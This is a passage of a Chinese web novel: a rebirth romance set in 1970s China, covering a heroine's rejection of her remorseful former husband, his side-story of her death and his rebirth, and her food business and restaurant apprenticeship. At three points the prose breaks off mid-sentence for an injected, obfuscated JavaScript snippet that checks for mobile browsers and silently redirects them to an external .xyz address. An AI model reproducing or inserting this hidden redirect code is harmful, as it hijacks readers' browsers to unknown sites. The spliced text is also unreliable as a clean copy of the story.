这个时候门外响起了敲门声，赵小霜估摸着是林建华回来了，明天又要卖卤大肠、卤猪肚，又要卖绿豆糕、红豆糕和枣泥糕，赵小霜一个人忙不过来，也怕放一起串味儿，她准备薅着林建华和她一块去，两个人分开卖，效率也高。大门应该也没锁，估计是林建华拿的东西太多了进不来才敲门的，赵小霜赶紧跑过去开门。 “小舅，明天你……”话还没说完，赵小霜就冷下了脸，“庄白川，你来干什么。” “小霜，所有的一切我都可以解释，我想问问你，到底发生什么了？你为什么突然这样对我？” “我觉得我昨天已经说得很清楚了，如果你觉得救命之恩一根钢笔不足以还清的话，我也理解，我可以给你钱，你要多少？” “小霜，我不是这个意思，我救你从来都不图回报，我……我喜欢你！” “对不起，庄同志，我不喜欢你，请你离开吧。”赵小霜说着就要关门。 庄白川伸手扣住门框：“小霜！你不能像上辈子一样丢下我一个人！” “你说什么？” 庄白川自知失言，话头一转，有些心虚地说：“我是说……你刚才丢下我一个人就走了……” “我听到了，庄白川，你说了上辈子，什么意思？” “小霜，我知道你也重生了，你看我的眼神分明就……我求求你，不要再丢下我一个人。” 赵小霜冷哼一声：“庄同志，我不知道你在胡说什么，如果没什么事情，就早点回吧，天黑了路上也不安全。” “小霜，你别这样。” 庄白川恳求般地拉住她的手：“你听我解释，我和许晚清真的什么都没有发生，在你走后，我才知道她给了你什么东西，照片是她找人修出来的，只要剪一下胶卷就能做出来那样的照片，我们俩真的什么事情都没有发生。” “……” 庄白川见赵小霜沉默，他急忙接着解释：“小霜，是我不对，我没有了解到事情的前因后果，我每天都在后悔，是我不好，你能不能原谅我？” “……” “小霜，我们重新来过，好不好？” 31. 【番外】庄白川 （一） 嘭！ 嘭！ 庄白川又一次在剧烈的撞击声中惊醒，他满头大汗，心脏好像要从胸腔里撞出来一样，使他分不清刚才的撞击声是车辆碰撞的声音还是自己的心脏撞击肋骨的声音。 …… （二） 自从赵小霜两个月前去了深市培训，他们俩已经一个多月没有见面，这次她怒气冲冲地回来，不由分说就打了许晚清一耳光，庄白川也是一时着急才指责了她。许家和庄家是世交，许晚清又是许家唯一的小孙女，庄白川的生意一部分关系也是靠许家老爷子推荐的，赵小霜这样让他怎么和许老爷子解释？ 更何况许晚清去外地读大学这几年他们没有什么接触，最近大学毕业了才常回来找庄白川，许家老爷子也拜托庄白川多带带许晚清生意上的事情，这才经常见面。他们的结婚纪念日当天许晚清从京市回来，许家给许晚清办生日宴会，顺便引荐生意上的人脉，庄白川不得已才去的，赵小霜又不是不知道。 庄白川实在觉得她无理取闹，又不是所有人心里都只有那些情情爱爱的事情，许晚清就是个刚毕业的小孩儿，能有什么心思，而且被赵小霜误会以后还主动提出要给赵小霜买礼物道歉。许晚清到底是读过大学的，比高中都没念完的赵小霜知书达礼多了。 当天赵小霜和他提了离婚，他也没有当回事，只当她是气头上一时说气话。第二天赵小霜送来离婚协议书的时候，他甚至有些烦躁，他们已经结婚十年了，就因为这样的小事儿，她就要和他离婚？ 他不耐烦地把协议书揉成一团扔进垃圾桶里，自从许晚清从大学回来，赵小霜就常常无理取闹，他妈妈也常说赵小霜整天甩脸子，一点都不像之前的温柔贤惠，他最近生意上供货商又在搞幺蛾子，庄白川实在没有心思陪她闹了。 “赵小霜，你能不能别闹了？我说了好多次了，我和许晚清清清白白，你想那么龌龊干嘛？！” 赵小霜看着他扔进垃圾桶里的离婚协议书，轻轻地开口：“我明天再给你拿一份来。”转身就推门离开了。 庄白川无比烦躁，他不知道赵小霜怎么突然像变了个人似的，过去的她温柔体贴，什么都听他的，一家人在一起和和睦睦，家里充满了欢声笑语，她干嘛非要毁了这一切？ 庄白川摸了一支烟，靠着窗户深深地吐了两口，赵小霜刚从小区出去，她今天穿着一袭连衣长袖白裙，还是之前他去京市的时候给她买的，她平时很少穿连衣裙，这件衣服也一直挂在衣柜里拿防尘罩罩着，爱惜得很，今天倒难得穿了出来。 庄白川知道赵小霜心里还有他，也爱着他，也许他只要放下身段哄一哄她，这些事就可以过去了，大家都当作没有发生过，她肯定是最近太累了，等他忙完这段时间，就带她出去度假放松一下。 嘭！ 庄白川还在琢磨给赵小霜买点什么东西的时候，一声巨响从街道上传来，伴随着尖锐的刹车声和尖叫，一辆汽车斜着横在了马路中间。 庄白川不知道自己是怎么下的楼，也不知道自己怎么跪倒在马路上，眼前的女人倒在车头前，白色的裙子上绽开了大朵大朵红色的花，裙子上头发上的玻璃碎渣仿佛是精心点缀的钻石，在阳光的照射下，显得妖艳耀眼极了，倒像是哪个设计师精心打造的晚礼裙。 一时间，他什么也听不到，什么也看不到了，世界仿佛被罩上了一个真空的罩子，赵小霜就那样安静地躺在血泊里，好像沉沉地睡着了一样。 （三） 葬礼上，庄白川麻木地接待着来往吊唁的人，整个人胡子拉碴，眼下因失眠浮肿了起来，嘴唇已经开始爆皮，右手因为扎到了玻璃包扎着纱布。 许晚清穿了一身黑裙，眼眶通红地坐在角落，吊唁的人陆陆续续走了，外边的乌云说来就来，不一会儿天就黑下来了，整个屋子里气压低得吓人，直叫人喘不上气来。 许晚清走到庄白川面前，小声地啜泣着：“对不起，白川哥，都是我不好……” 这个月许晚清没少说这种话，庄白川一直觉得许晚清还是个刚出社会的小孩，什么都不懂，说话行为上没什么边界感，难免惹了赵小霜误会，还总把错处往自己身上揽，又动不动就一个人委屈掉泪，对她总是多一些爱护。此时听到她说的这句话，心里却有些烦躁，但他仍然压下了心里的情绪，安慰道：“不是你的错，你小霜姐不会怪你的。” 这句话却像是压垮许晚清的最后一根稻草，她的声音陡然提高，整个人却像被重击了一样弯着，终于掩面痛哭了起来。 “是我对不起小霜姐……是我伪造了我们俩的床照……我只是想让你们离婚，我不想害死小霜姐，都是我的错……是我一时糊涂……” “你说什么？！” 庄白川低着的头颅猛地抬起，他抓住许晚清的肩膀：“你说什么？！你都干了什么！”庄白川的手越来越用力，仿佛要把许晚清捏碎一般。 “你怎么能，你怎么能做这种事？！” “都是我的错，我也没想到会这样……我只是喜欢你，白川哥，我也没想到会这样……” 许晚清哭得上不来气，庄白川松开她的肩膀，许晚清像一滩泥一样倒在了地上。 “小霜她待你不薄，你高一的时候吃不下饭，是小霜给你做了红果糕和鸡蛋饼送过去，你每个月放假回来，是小霜带你去买新衣服，体谅你读书辛苦，给你炖汤补身体……” “许晚清啊许晚清，我真是瞎了眼，才会把你当成亲妹妹看待。是小霜对你太好了，反而养出来你这个白眼狼！” 庄白川目眦尽裂，眼眶里几乎溢出血来，他都做了什么，赵小霜因为他丢下她去参加许晚清生日宴会而感到难过时，他只是随便买了一束她不喜欢的玫瑰草草道歉了事。在她收到伪造的床照因为愤怒打许晚清的时候，他没有问前因后果，只是一味地指责她，觉得她不懂事又发疯。 “许晚清年纪小不懂事，你也不懂事吗。”赵小霜失望的语气突然像幽灵一样缓缓地浮现在他的耳边。 那个时候她心里是怎么想的呢？愤怒？失望？痛苦？他倒情愿她恨他，是他太愚笨，他是个蠢人，是他的不作为害死了赵小霜。 “轰隆”一声，沉重的乌云终于落到了地上，庄白川像被雷劈聋了一般，许晚清的嘴一张一合，他却什么都听不到了。 （四） 嘭！ 又是一声巨响，庄白川在黑暗中睁开布满红血丝的眼睛，脑内的巨响还迟迟无法消失，像收音机卡带故障了一样反复播放着。他已经一个月没有怎么入睡了，只要闭上眼，就看赵小霜满脸是血地躺在柏油马路上，玻璃碴子飞得到处都是。 他摸索着点了根烟，赵小霜在的时候，从来不允许他在卧室抽烟，也常常在他喝醉酒以后唠叨他，有时候说急了还要吵吵两句，现在好了，终于没有人管他了。 庄白川颓废地瘫在床边的地毯上，这个地毯还是他前两个月出差时候刚买回来的，赵小霜见过邻居家的装修以后，天天念叨着要地毯要地毯，这地毯买回来以后铺在卧室，赵小霜每天都要打扫一遍，看着干干净净的才行。而现在，这张地毯被庄白川的烟头烫了一个大洞，正散发着羊毛被烧的焦臭味儿。 他从地上捡起来一瓶喝剩下的白酒，屋里已经堆满了空酒瓶，他几乎一个月没有出门，厚重的窗帘挡住窗户，已经分不清到底 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15952570|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是晚上还是白天了。 连着灌了两瓶酒以后，胃里的灼烧感让庄白川止不住地想吐，但是四肢却因为酒精的作用动弹不得，他的神志开始模糊，心脏密密麻麻的疼痛也开始减轻，他好像看到赵小霜梳着两个麻花辫，穿着藏蓝色的劳动布衬衫，笑眯眯地看着他，他伸出手想拉住她，却终于因为体力不支晕倒在了地上。 （五） 嘭！ 他又一次睁开眼，眼前却不是他熟悉的天花板，而是糊满了报纸的土墙。 等会儿，这是…… 这是他在西顺县造纸厂当学徒的时候住的宿舍，他在做梦？庄白川想抬头看看报纸上的日期，起得太急撞到了床头的铁皮柜子，尖锐的疼痛提醒着他，这不是在做梦。 所以他回到了在造纸厂的时候？额头被撞的地方缓缓地渗出了血，庄白川也顾不上管，他爬起来看了一下日历，是他刚到造纸厂两个月的时候，他前几天刚在水库救了赵小霜，一切还来得及，小霜还活着。庄白川抱着日历哭了起来，嘴上却忍不住又发出笑声，整个人像疯了一样又哭又笑。 这一世，他会倾尽所有，保护赵小霜，不让她受到一丝伤害。 他会按照上一世的样子，和小霜结婚，这次他一定会好好对她，再不会让那些事发生在赵小霜身上。他会离许晚清远远的，庄家和许家的世交跟他没关系，他只想和小霜远走高飞过日子，他会给她买漂亮的衣服，带她出去见世面，她喜欢茉莉花，上次他只买到了玫瑰，这一世他会补偿回来，一切都还来得及，都来得及。 只是这一世的赵小霜，却好像和之前多了一些不一样的地方，这几天的接触，让他常常在赵小霜的身上看到上一世的影子，从她的眼神里，也总是能看到莫名的悲伤。 直到他在纺织厂西门看到赵小霜的时候，他终于确定，赵小霜也重生了，这一世没有人知道他会从西门下班。上一世她就常常在西门等他下班，庄白川再带着她去买菜或者水库边散步，她偶尔会抱怨家里的事情太多，但只要带她到水库看看日落，她就能把所有的不愉快忘掉。 他按耐住心里的忐忑和激动，她为什么主动来找他，她出了什么事需要他帮忙，还是她来找他复合？她的个子好像要比上一世高出一截，她是来骂他的吗？他对不起小霜，就算她打他一顿，他也是心甘情愿的。她脸上的伤口已经好了，脸也圆了不少，他该怎么解释？他从来没有做那样的事情，是许晚清骗了她，但他也是罪人，是他们一起害死了小霜…… 短短的几十米，庄白川想了几百种可能性，走到她面前时，庄白川脑子里却只剩下一个想法：她长高了，脸也圆了不少。 “我们以后不要再见面了。” “我有喜欢的人了。” “我可以给你钱，你要多少？” 她嫣红的小嘴说出来令人伤心的话，她的眼睛也冷冰冰地不愿意看他，可是她的一切都这么完美，她的脸蛋一鼓一鼓的，在月色的照耀下显得那么洁白无瑕，她的麻花辫垂在胸前，额前的碎发随着风晃来晃去，自从他们结婚以后，就再没见她梳过这样的发型。 没关系，她是爱他的，他也深爱着她，只是上一世他们有了误会没有来得及解开，他又做了太多伤害她的事情，老天爷既然给了他们重来的机会，就是要让他们重新来过。 赵小霜对他有误会，她对他冷淡，对他爱搭不理，他都可以理解，是他对不起小霜，他甚至希望赵小霜狠狠地打他骂他，只要她能发泄出来，他怎么样都可以受着。 这一世，他不会再放她走，她永远都是他的，上辈子下辈子，不管重来多少世，他都会把她带回自己的世界，她只会属于他一个人。 32. 买火车票 听到照片是造假的，赵小霜第一反应是震惊，她不太相信许晚清会做出这样的事情，说到底许晚清在赵小霜眼里也是个小孩儿，她想过一万种可能，就是没想过是许晚清伪造了照片。但庄白川解释的样子也不像作假，让赵小霜不得不相信。 只是长久以来积累的失望已经在两人之间隔了一道壁障，更何况她现在已经可以自力更生，并不需要看谁的脸色过活。她还想借助自己的能力闯荡一番，这一两个月小小的生意让她体验到了挣钱的快乐，虽然还不能称之为事业，但这种感觉着实令人上瘾，她又为什么非要再一次踏入那个并不欢迎她的庄家，去做一个默默无闻、任劳任怨、忍气吞声的“老妈子”呢？ 庄白川说上一世他没有签离婚协议，他们仍然是合法夫妻关系，可上一世的关系关这一世的赵小霜什么事儿。赵小霜可没空在这儿回忆过去，既然老天都让她忘了后边的事情，她干嘛非要去探究个一二三的，她还得赶紧攒钱呢，谈情说爱那都是有钱人家的活动。 两个人中间的空气沉默到快要凝固了，庄白川才听到她细微的气声，如同钢针一般刺向了他的心脏：“我没办法再信任你了，庄白川。” 赵小霜没有再多说，她看都没看庄白川的泪眼，转身关门做晚饭去了。 这几天除了薅着林建华和她一块去卖东西，赵小霜每天都要去一趟钢铁厂问问有没有自己的信件，虽然她知道不会那么快，但内心的期待和焦灼让她恨不得一天去看个三四次。 最近降温以后，黑市上也多了许多卖鸭子的，鸭子肉比鸡肉更肥，脂肪更厚。赵小霜没有做脆皮烤鸭的装备，但是她可以做酱板鸭和卤鸭翅呀，拆出来的鸭架还可以做成椒盐的，这玩意便宜又耐啃，每次赵小霜摆摊卖猪耳朵猪大肠，总有家里比较穷的人在那咽口水却又舍不得买。反正卤汤每天都要做，做点这种便宜的卤味也就多个锅的事儿，虽然利润不高，但受众面很广，薄利多销也是挣钱的法子。 庄白川仍然时不时地出现给赵小霜送东西，知道赵小霜去黑市卖东西，早上还经常要骑车送赵小霜去西顺县，说她一个人骑车不安全，又常常看着赵小霜露出一副悲伤深不见底的模样，真是搞笑，这么深情早干嘛去了，上一世也从来没见过他这个模样。 赵小霜不耐烦的时候，他又识趣地一言不发，远远跟着，给赵小霜送到县里，就自己骑着车去上班了，赵小霜是骂也没办法骂，只能假装这个人不存在。 当庄白川又一次一大早出现在巷子口的时候，赵小霜终于有些烦了，她实在是想不起来上一世给完他离婚协议后边的事情，既然误会已经解除，她也不怨恨他了，两个人就从此各走各的路不好吗？他干嘛一直纠缠着她不放呢，上一世她的性子也确实温顺，但现在的她可真是忍不了一点了，终于在她一次大发雷霆之后，庄白川连着好多天都没有出现，赵小霜也终于清净了两天。 这天早上林建华要去大队帮忙修猪圈，因此赵小霜自己一个人去了黑市，把做的卤肠卤猪肚、卤鸭翅、卤鸭肠和酱鸭腿卖掉，照例去钢铁厂的收发室看有没有信件。这次收发室的大爷远远看到她就朝她招手：“小同志！今天有你的信件！” 赵小霜赶紧把车停稳，一步并做两步地跑过去：“大爷，真有我的信件呀！” “这还能有假？喏，川阳市来的挂号信。天天来看，可等着急了吧。”大爷从一沓信封里抽出来一个盖满了章的牛皮纸信封，右上角贴了一张8分面值的邮票，上边写着“西顺县青年路街道钢铁厂，赵小霜同志收”。 赵小霜开心得都要跳起来了，打开以后，果然是张海给她开的国营饭店学习会议通知，还附了一张带有她个人信息的学习证明。 赵小霜一刻都不想等了，她早就已经准备好了去川阳市的行李衣裳，现在信件到手，她明天就可以出发去川阳市了。赵小霜和大爷道了谢，急急忙忙地赶去了街道办，今天值班的还是上次那个年轻的男生，显然他也认出来了赵小霜，起身问道：“有什么事吗，同志。” 赵小霜把怀里的信封掏出来递给他：“我需要开个介绍信，我明天要去川阳市一趟。” 有了盖着公章的会议通知，办事员也没有为难她，爽快地给她开了介绍信和身份证明，并叮嘱她今天就去车站的售票口排队买票，不然估计明天是无法出发的。 这赵小霜还真不知道，上一世她没坐过几次火车，还都是庄白川给她买的票，流程她一概不知。她赶紧谢过办事员，把这几个文件仔细地折好，放进了衣服的内兜里。就沿东边飞速地往火车站骑了。 火车站离市区远了一点，还要上两个大坡，赵小霜都骑累了，才终于看见立着“西顺站”的红砖房子，墙上画着一列绿皮蒸汽火柴，还有象征丰收的饱满的麦穗，写着“旅客至上，服务第一”的红色标语。 这不是赵小霜第一次来火车站，但却是她第一次自己买火车票，售票窗口前已经拥挤地排满了大长龙，好多人都是提前一天就已经在这里等着了，人们的行李包裹堆在脚跟前，还有拿网兜兜着活鸡活鸭的。整个车站嘈杂又拥挤，赵小霜好不容易找到队尾排了进去，估摸着今天怎么也得晚上才能买到票了。但幸运的是，今天窗口有一老一小两个售票员，因此队伍的前进速度要比赵小霜预计的快了不少。 赵小霜排了大概三四个小时，终于到了售票口，她扯着嗓子大声说：“同志！一张从西顺县到川阳市的坐票！越早越好！” 售票员勉强从嘈杂的环境中辨别出赵小霜的行程目的地：“有明天早上五点的和后天下午三点的！一块四毛！” 赵小霜赶紧接话：“要明天一大早的！” 售票员用钢笔在车票上写好了信息和价格，盖上了“西顺县火车站”的红章，接过赵小霜递来的毛票，把车票从窗口递给了赵小霜。 赵小霜又废了半天力气，才终于从人堆里挤了出来，这年头买票可真不容易，而且现在没有什么实名制购票，票丢了也是无法补办的，只能重新再买，赵小霜小心翼翼地把票放进内兜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15958411|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，扣上扣子，她的车票是明天早上五点多的，她准备回家把东西简单收拾一下，睡起来就出发。 眼看着要出车站了，赵小霜突然看到周围一些人围在一处，堵住了路，几个人正在吵吵闹闹议论着什么。 赵小霜探头看了一下，一个穿着卡其布衬衫的老年妇女正坐在台阶上哭着，旁边头发花白穿着藏蓝色工服的估计是她老伴，正着急地团团转。赵小霜听到旁边的人议论道：“哎，这老两口的闺女突发病住院了，正着急回去呢，估摸着这路来路过的人多，把票给丢了，刚才人们帮忙找了一大圈，也没找着她那票......”“肯定有人给捡走了，现在买票这么难......唉，这两人可怎么办呀，听老太太说，闺女都病危了，就怕赶不过去。” 赵小霜买到的票已经是最后几张了，很多人一看就是做好了在这儿过夜买票的准备，一听售票员说去哪哪的车票售空了，就直接铺个地垫上一旁啃凉馒头去了。这会儿再去排队估摸着也来不及了。人群中有人问道：“大娘，您是去哪里？我把我的车票给您吧，我可以明天再来买，我不急。” 大娘已经哭了好久了，她沙哑着嗓音回答道：“我们去川阳市。” “唉，我这是去东边济泉市的，这没办法用啊。”年轻的小伙子看了看，又四处喊着：“你们有谁的车票是去川阳市的吗？” 人群中应该也有去川阳市的，只是大家买票都不容易，谁出门不是办急事呢，因此一时半会也没人接话。赵小霜经历过失去亲人的痛苦，也经历过亲人去世自己却人在外乡赶不回去的绝望，她比谁都明白这老两口现在的煎熬。她去学习这事儿不在这一天两天的，大不了她半夜再过来排队就是了，她赶紧从外围往里挤，一边举手大喊着：“我这里有！我这里去有川阳市的车票！” 赵小霜费劲地从人群中挤进来，把车票从内兜里掏出来，递给他们：“大娘，我也不急，您用这个票吧，看女儿要紧。” 受到赵小霜的鼓舞，周围又有一个年轻的女同志举起了手：“大娘大爷，我本来是明天要去工厂报道的，但厂里知道我是为了帮助别人而晚到的话，应当不会怪我，给，这车票您拿着吧。” 现在去厂里报道一般都是有固定时限的，去晚了很有可能被批评“影响集体生产”“缺乏集体观念”，严重的还有可能影响后续的考评。而且明天去川阳市的车票已经售空，她能买到最早的也是后天或者大后天的票了，这位女同志肯定也是下了很久的决心，才让出这张珍贵的车票。 几个人赶紧把老太太搀扶起来，带着他们去车厅里了，这个女同志的票是今天下午八点多的，老两口只能分开坐车了，但好在是有了车票。赵小霜衷心地希望他们的女儿不要有事，白发人送黑发人，实在是这世界上最最痛苦和绝望的事情。 赵小霜来来回回跑了这么一趟，又空手回去了，好在现在还不到傍晚，天色正亮，她准备先买点食材做点卤味，明天让林建华去黑市卖东西，她自己就早点过来排队买票。 33. 灌汤包 赵小霜回去把介绍信给林秀英看了，又做了十来斤的卤味，没睡几个小时，就揣了两个豆角团子要去车站，林建华听着动静也起来了，正好他今天也得去黑市卖东西，天黑着赵小霜一个人出门大家也不放心，两个人简单拾掇了一下就骑车出发了。 车站里东倒西歪地躺了很多人，赵小霜也把上次当雨衣的编织袋拿了过来，找了个相对宽敞的地方，把编织袋当成垫子铺在地上，席地而坐，等待开票。 最近今天赵小霜又起早贪黑的，昨天更是没怎么睡觉，这坐着坐着，她就要倒下去睡着了。这个时候旁边传来了一声耳熟的女声：“诶，同志……你是昨天那个……” 赵小霜睁眼抬头一看，是昨天说要去厂里报道的女工人，也和她打了个招呼，这个工人也自来熟，她把自己的包裹和箱子一股脑搬到了赵小霜旁边：“同志，你也是去川阳市工作？” 她显然已经在火车站待了很久了，迫不及待想找个人聊天，赵小霜微笑着摇摇头：“也不算吧，我是去学习的。” “哎呀，那可好。”工人大大咧咧地笑着：“我是去砖瓦厂报道，就在川阳市火车东站旁边呢，我们公社的妇女主任说了，积极表现努力学习，说不定能推荐我上川阳市的工农建学校嘞！” 女工人的眼睛亮晶晶的，虽然因为好多天在车站排队买票，面色稍显疲惫，衣服也有些脏污，但整个人的精神面貌十分积极向上，她看了看赵小霜，又自我介绍道：“我叫徐君丽，昨天看你积极主动地帮助别人，我才受到了感染，工人阶级是应当冲在前边，把方便让给别人才对。” 赵小霜伸出手和她握了握手：“我叫赵小霜，很高兴认识你，徐同志。” 徐君丽也开心地回应：“我也很高兴认识你，小霜同志，你要是到了川阳市有什么需要我帮忙的，可以尽管来砖瓦厂找我！” 就这样两个人有一搭没一搭地聊着，一起排了队买了车票，今天半夜正好有一张坐票，赵小霜担心徐君丽去报道迟太久，把这样票让给了她，自己则拿了后天上午的车票。 徐君丽感激地道过谢，又再三叮嘱赵小霜去了川阳市有困难一定要去砖瓦厂找她，这才放赵小霜离开。 这次去学习开的介绍信只有赵小霜一个人的，林秀英或多或少有些担心她一个人出远门，但赵小霜毕竟在川阳市生活过十年了，她自己是完全不焦虑的，她带了一套换洗的衣物，把介绍信会议通知都放进包裹的内袋里。 林秀英担心天气突然降温赵小霜又在外地没有衣服穿，这几天熬夜给她织了一件薄毛衫，鹅黄色的底，胸口点缀了一圈彩色的花瓣，领口用“狗牙三角锁针”做了变化装饰，收口又作了减针，让整体有一个收住的弧度，穿上以后精致又漂亮，显得赵小霜一张小脸白嫩嫩的。林秀英让她转过来转过去，越看越满意。 到了出发这天，林家人都起了个大早，赵小霜又做了一些卤鸭翅和卤鸡蛋，拿了两个馒头准备路上吃，其实火车上的时间也就三个多小时，但赵小霜怕有什么意外耽搁了，因此提前了两个多小时就出发了，林秀英骑着车把赵小霜带到车站，又左叮咛右嘱咐的，又怕她一个人找不着路，又怕她冷了不知道穿衣服，直到赵小霜哭笑不得地说得进去候车了，林秀英才终于让她进去候车厅。 上车不多时火车就开了，火车的车轮和铁轨发出咣当咣当的碰撞声，一路上要停好多次，大大小小的站都会停个几分钟，眼看到了中午，列车员推着一个小车挨着车厢送热水，赵小霜也赶紧拿杯子接了一杯，打开带着的卤味，就着热水啃馒头。她的餐盒一打开，就吸引了旁边座位大姐的注意，她忍了又忍，终于没忍住开口问道：“大妹子，你这是哪里买的，怎么这么香？” “大姐，这都是我自己做的，给，您尝尝？” 也实在不怪大姐嘴馋，赵小霜这个卤鸭翅做的是甜辣酱香口的，除了正常的调料，她还加了冰糖和甜面酱，还有自己做的红油辣椒一起卤，这个香味儿就像是长了腿，嗖嗖嗖地就往别人鼻子里钻。 大姐不好意思地接过来，又给了赵小霜一根黄瓜：“谢谢你啊大妹子，这黄瓜是我家里自己种的，你吃着解解渴吧！” 隔着过道的两个小孩也闻到了这股诱人的味道，他们眼巴巴地看着赵小霜，又不敢过来，怯生生地拉住大人的衣角，口水都要流出来了。 这个鸭翅的辣椒放得比较多，赵小霜也不敢给小孩子吃，她拿出来两个卤鸡蛋递过去：“喏，你们俩吃这个吧！” 大人赶忙摆手：“这不行，不用给他们，他们刚吃过了。” 赵小霜却笑眯眯的：“没事，小孩子长身体，吃吧！姐姐这儿还有呢！” 两个小孩又看了看大人的脸色，才伸出手接过赵小霜的鸡蛋，年纪小一点的女孩嗓音甜甜脆脆的：“谢谢姐姐～” 旁边的大姐也吃完了鸭翅，她擦了擦嘴，问道：“大妹子，你这到底是怎么做的？怎么这么香？我能找你买点不？” 赵小霜把自己的调料配方大致告诉了大姐，又贴心地嘱咐她如果家里小孩吃，盐一定要放少一点。 这个年代的人们都纯朴，赵小霜也不吝啬，大大方方的把自己带的卤味给大家分享，周围人也纷纷给赵小霜拿了花生和奶糖，工人们聊着工作上的事情，小孩们也坐一块玩着，不知不觉很快就到了川阳市。 赵小霜下车以后先打听着找到了公交站台，坐上了2路公交车，川阳市的整体发展要快速很多，街道上已经有了几辆西顺县完全没有的小汽车。 赵小霜坐在窗户边的座位上，心里对比着十年后和现在的街景，一时感慨万千，十年后的川阳市变化更大，街边的店面一个挨着一个，晚上还有五彩斑斓的霓虹灯广告牌，路边这些低矮的平房也会慢慢变成高楼大厦，有的地方甚至出现了卡拉OK厅，女人们都穿着五颜六色的裙子、长长的喇叭裤，街道上的车辆也比现在要多得多。 如果有人和上一世现在的赵小霜说这些，她肯定也不会信，但这些变化在十年后确确实实发生了，也是后来的赵小霜亲眼见过的，因此赵小霜决心要赶上时代发展的列车，带领全家人都过上比之前好一百倍的日子。 张海给她开的会议通知是在川阳市的市中心解放路上，基本上是川阳市最大的国营饭店了，一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15964715|176415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 楼是用餐的餐厅和包间，二楼是住宿的招待所，这比西顺县的国营饭店要大了许多倍，装潢也更加时髦和精细，但整体还是端庄稳重的感觉。 赵小霜拿着介绍信上了二楼，招待员给她开了一个单人间，比赵小霜想象的要便宜，一晚上是两块五毛钱。 稍微休息了会儿，赵小霜大概洗了洗脸，把衣服整顿了一下，就下楼去找厨房报道了。可能是近饭点了，厨房里忙活得不可开交，赵小霜进厨房想找到管事人报道，几次尝试开口却也没有人搭理她，赵小霜只好盯住一个看起来年纪比较大正在大火炒菜的师傅，趁他换锅的间隙，赶紧拿着介绍信上去：“您好，我是来学习报道的，这是我的介绍信。”师傅压根没有看她一眼，随便往右边一指：“去柜子里拿一套衣服换上，把墙角那堆土豆洗了削皮切丝，弄完了再来找我。” 赵小霜乖乖地“哦”了一声，自己找衣服去了。等她再次回到厨房的时候，大家已经开始陆陆续续往出送菜了，她赶紧洗了手，找了个大铁盆去洗土豆子了，这一堆土豆还真不少，她吭哧吭哧把土豆洗完，又挨个削了皮，自己找了个菜板和菜刀给土豆改刀，切土豆丝。赵小霜对自己的刀工还是很有自信的，土豆虽然多，但真切起来倒也快，她把切好的土豆丝淘洗干净，放进干净的水里泡着，防止氧化变色。 做完这一堆事，见大师傅还是没空搭理她，赵小霜准备自己寻摸着帮点忙，正准备去帮大师傅切肉片，旁边突然传来了大声的责骂，赵小霜循声望去，一个年纪和她差不多的男孩正低着头，耳朵通红，头仿佛要低进地里去。原来是今天的主食有一部分要做猪肉包子，小学徒拿错了面粉袋子，倒的全都是高筋面粉，和好以后忙起来忘记加酵母，刚才面点师傅都要包包子了，才发现这一大盆面都没有发酵，气得直接骂了起来。现在气温也不像夏天那么高了，重新发酵一盆最快也得四十多分钟。 赵小霜看了看时间，现在重新和面再等发酵肯定是来不及了，一般国营饭店的凉菜里都有猪皮冻，赵小霜准备把这团没有发酵的面团做成灌汤包，这样菜单也没换，也能快一点出餐。 她转头问面点师傅：“有没有剩的猪皮冻？”面点师傅还是阴沉着脸，没有说话，旁边的一个中年女师傅答应了一声：“中午剩的猪皮冻有，在冰柜里。” 赵小霜拿开水做了一块烫面，和之前的面团和在一起，又倒了一些淀粉和食盐进去，这样做出来的面皮透亮有韧性，不容易破。她让刚才的小学徒把面团切成均匀的剂子再擀开成饺子皮一样的厚度。 她自己则去冰柜里拿了两块猪皮冻，国营饭店的猪皮冻卖相还是很好的，赵小霜把猪皮冻上层透明的皮冻切下来，切成小块和进猪肉馅里，这样灌汤包的的馅料和面皮就都准备好了。她准备这些的时候，又让小徒弟赶紧去重新和面和馅，重新蒸一笼正常的白面包子，防止有的客人吃不惯灌汤包。 面点师傅之前也在南方见过这样的包子，现下也减轻了一些愤怒，和赵小霜一起包了起来。不一会儿几个人就包好了三笼屉，这种包子的皮又薄，比正常的包子小很多，只需要蒸个十来分钟就可以了。 34. 桂花糖藕 这么一来，晚餐的主食时间正好赶上，一点都没有耽误。薄皮儿蒸出来的包子晶莹剔透，拿起笼屉的时候，包子就像水袋一样晃晃悠悠的，透过包子皮能看到诱人的金黄色汤汁。刚才的小学徒也缓过来了害怕的情绪，兴高采烈地帮着出餐。 